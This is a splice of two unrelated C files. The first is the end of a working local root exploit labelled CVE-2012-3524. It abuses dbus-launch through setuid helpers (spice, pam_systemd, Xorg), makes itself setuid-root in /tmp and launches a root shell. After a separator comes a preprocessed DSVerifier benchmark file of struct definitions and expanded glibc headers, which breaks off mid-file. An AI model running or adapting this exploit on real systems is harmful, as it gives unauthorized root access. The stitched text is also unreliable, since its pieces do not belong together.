char *dbus[] = {"/tmp/dbus-launch", NULL};
char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
char me[0x1000];
if (geteuid() == 0 && argc > 1) {
chown("/tmp/dbus-launch", 0, 0);
chmod("/tmp/dbus-launch", 04755);
exit(errno);
} else if (geteuid() == 0) {
setuid(0);
execve(*sh, sh, NULL);
return errno;
}
printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
memset(me, 0, sizeof(me));
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
/* Solaris */
readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
}
symlink(me, "/tmp/dbus-launch");
if (stat(spice[0], &st) == 0) {
if ((st.st_mode & 04000) == 04000) {
printf("[+] Using spice helper ...\n");
a = spice;
}
} else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
env[3] = "DISPLAY=:7350";
su[1] = getenv("USER");
a = su;
} else if (stat(xorg[0], &st) == 0) {
if ((st.st_mode & 04000) == 04000)
printf("[+] Using Xorg helper ...\n");
else {
printf("[-] No suitable suid helper found.\n");
exit(0);
}
} else {
printf("[-] No suitable suid helper found.\n");
exit(0);
}
if ((pid = fork()) == 0) {
execve(*a, a, env);
exit(0);
}
printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");
for (i = 0; i < 10; ++i) {
sleep(1);
printf("."); fflush(stdout);
}
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
for (;;) {
stat(*dbus, &st);
if ((st.st_mode & 04755) == 04755)
break;
sleep(1);
}
printf("\n[!] Hurra!\n");
execve(*dbus, dbus, NULL);
return errno;
}
|
the_stack_data/64747.c | # 1 "benchmarks/ds-03-impl2.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-03-impl2.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
